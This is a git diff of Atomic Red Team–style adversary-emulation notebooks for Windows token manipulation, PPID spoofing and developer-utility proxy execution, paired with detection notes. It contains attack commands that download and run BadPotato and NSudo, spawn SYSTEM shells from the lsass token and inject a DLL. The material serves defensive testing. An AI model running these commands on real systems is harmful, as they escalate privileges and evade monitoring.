"b6331403", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy PathToAtomicsFolder\\T1127\\src\\LibHello.js %TEMP%\\LibHello.js\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe /t:library %TEMP%\\LibHello.js\n```" + "```command_prompt\ncopy \"PathToAtomicsFolder\\T1127\\src\\LibHello.js\" %TEMP%\\LibHello.js\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe /t:library %TEMP%\\LibHello.js\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "909770ef", + "id": "1a855354", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "88a9430a", + "id": "1a2bbfc7", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\LibHello.js\ndel %TEMP%\\LibHello.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2ddb9267", + "id": "04c688dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1127 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "faf66cf3", + "id": "01eb837f", "metadata": {}, "source": "## Detection\nMonitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed." }, { "cell_type": "markdown", - "id": "70fa581f", + "id": "d2cde600", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can detect the presence of an adversary by monitoring for processes that are created by commands and/or scripts they execute on a system.\n\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -118,13 +118,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1130.ipynb b/playbook/tactics/defense-evasion/T1130.ipynb deleted file mode 100644 index 09088d17..00000000 --- a/playbook/tactics/defense-evasion/T1130.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7c6e434b", - "metadata": {}, - "source": "# T1130 - Install Root Certificate\nRoot certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)" - }, - { - "cell_type": "markdown", - "id": "dbcfae87", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f260b024", - "metadata": {}, - "source": "## Detection\nA system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1134.001.ipynb b/playbook/tactics/defense-evasion/T1134.001.ipynb index 48c18a83..8de86c40 100644 --- a/playbook/tactics/defense-evasion/T1134.001.ipynb +++ b/playbook/tactics/defense-evasion/T1134.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "36755f88", + "id": "514d3799", "metadata": {}, - "source": "# T1134.001 - Token Impersonation/Theft\nAdversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system." + "source": "# T1134.001 - Token Impersonation/Theft\nAdversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one." }, { "cell_type": "markdown", - "id": "fc055483", + "id": "40d63846", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9e8e1c2b", + "id": "386279ca", "metadata": {}, "source": [ "### Atomic Test #1 - Named pipe client impersonation", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1fbbddc8", + "id": "645602f3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6a12a962", + "id": "ab66a894", "metadata": {}, "source": [ "### Atomic Test #2 - `SeDebugPrivilege` token duplication", @@ -49,90 +49,90 @@ { "cell_type": "code", "execution_count": null, - "id": "6211e729", + "id": "b3feb734", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7e04e5c0", + "id": "1875ce54", "metadata": {}, - "source": "### Atomic Test #3 - Launch NSudo Executable\nLaunches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NSudo.bat must exist in the specified path #{nsudo_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n\n```" + "source": "### Atomic Test #3 - Launch NSudo Executable\nLaunches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NSudoLG.exe must exist in the specified path #{nsudo_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\\NSudo Launcher\\x64\\NSudoLG.exe\" \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" -Recurse -ErrorAction Ignore\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\" -Recurse -ErrorAction Ignore\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8cca9ca9", + "id": "024a6fcb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "97bba126", + "id": "009b3fe4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\" -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "71545305", + "id": "abdbbb55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "08cc2e04", + "id": "901ad591", "metadata": {}, - "source": "### Atomic Test #4 - Bad Potato\nhttps://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: BadPotato.exe must exist in the temp directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n\n```" + "source": "### Atomic Test #4 - Bad Potato\nhttps://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: BadPotato.exe must exist in the temp directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\BadPotato.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\BadPotato.exe\" \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "627f115e", + "id": "777401ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "514ea2b0", + "id": "0e7a037f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n```" + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8d4823b7", + "id": "34abf4d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "da22329b", + "id": "db2b2f4f", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntaskkill /f /im notepad.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a211728f", + "id": "c87783c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "8bba38a1", + "id": "4b9ea813", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -140,13 +140,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1134.002.ipynb b/playbook/tactics/defense-evasion/T1134.002.ipynb index fbfb3662..e6154910 100644 --- a/playbook/tactics/defense-evasion/T1134.002.ipynb +++ b/playbook/tactics/defense-evasion/T1134.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d3a6932c", + "id": "8b1f4de2", "metadata": {}, - "source": "# T1134.002 - Create Process with Token\nAdversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003))." + "source": "# T1134.002 - Create Process with Token\nAdversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process." }, { "cell_type": "markdown", - "id": "1a70a786", + "id": "1389e674", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5aea7478", + "id": "47782612", "metadata": {}, "source": [ "### Atomic Test #1 - Access Token Manipulation", @@ -22,20 +22,20 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n```" + "```powershell\nSet-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n& \"$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1\"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6d217839", + "id": "bf496bd0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "2da607c3", + "id": "ae6cc287", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique", @@ -48,14 +48,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1f449617", + "id": "58decdc4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8de9408d", + "id": "a3da372f", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -63,13 +63,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1134.003.ipynb b/playbook/tactics/defense-evasion/T1134.003.ipynb index cb31ba41..c1973237 100644 --- a/playbook/tactics/defense-evasion/T1134.003.ipynb +++ b/playbook/tactics/defense-evasion/T1134.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "341699ff", + "id": "69e68b46", "metadata": {}, - "source": "# T1134.003 - Make and Impersonate Token\nAdversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread." + "source": "# T1134.003 - Make and Impersonate Token\nAdversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one." }, { "cell_type": "markdown", - "id": "23fc737b", + "id": "7865ec60", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "1a8491fc", + "id": "68e26672", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1134.004.ipynb b/playbook/tactics/defense-evasion/T1134.004.ipynb index 500d8063..7086ee32 100644 --- a/playbook/tactics/defense-evasion/T1134.004.ipynb +++ b/playbook/tactics/defense-evasion/T1134.004.ipynb @@ -2,78 +2,78 @@ "cells": [ { "cell_type": "markdown", - "id": "95c23b21", + "id": "b6f1cdfc", "metadata": {}, "source": "# T1134.004 - Parent PID Spoofing\nAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)" }, { "cell_type": "markdown", - "id": "2f7163a3", + "id": "95412612", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5effc0f1", + "id": "6a8d3e70", "metadata": {}, - "source": "### Atomic Test #1 - Parent PID Spoofing using PowerShell\nThis test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to inject must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1134.004\\bin\\calc.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1134.004\\bin\\calc.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n\n```\n##### Description: PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n```" + "source": "### Atomic Test #1 - Parent PID Spoofing using PowerShell\nThis test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to inject must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n\n```\n##### Description: PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "522df09f", + "id": "7cc31c65", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a4da8bd9", + "id": "a273bf2c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n. $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process explorer | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"C:\\Program Files\\Internet Explorer\\iexplore.exe\" -dllpath \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n```" + "```powershell\n. \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process explorer | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"C:\\Program Files\\Internet Explorer\\iexplore.exe\" -dllpath \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ed0cb096", + "id": "16516c7a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d9d093a7", + "id": "7f265da1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name 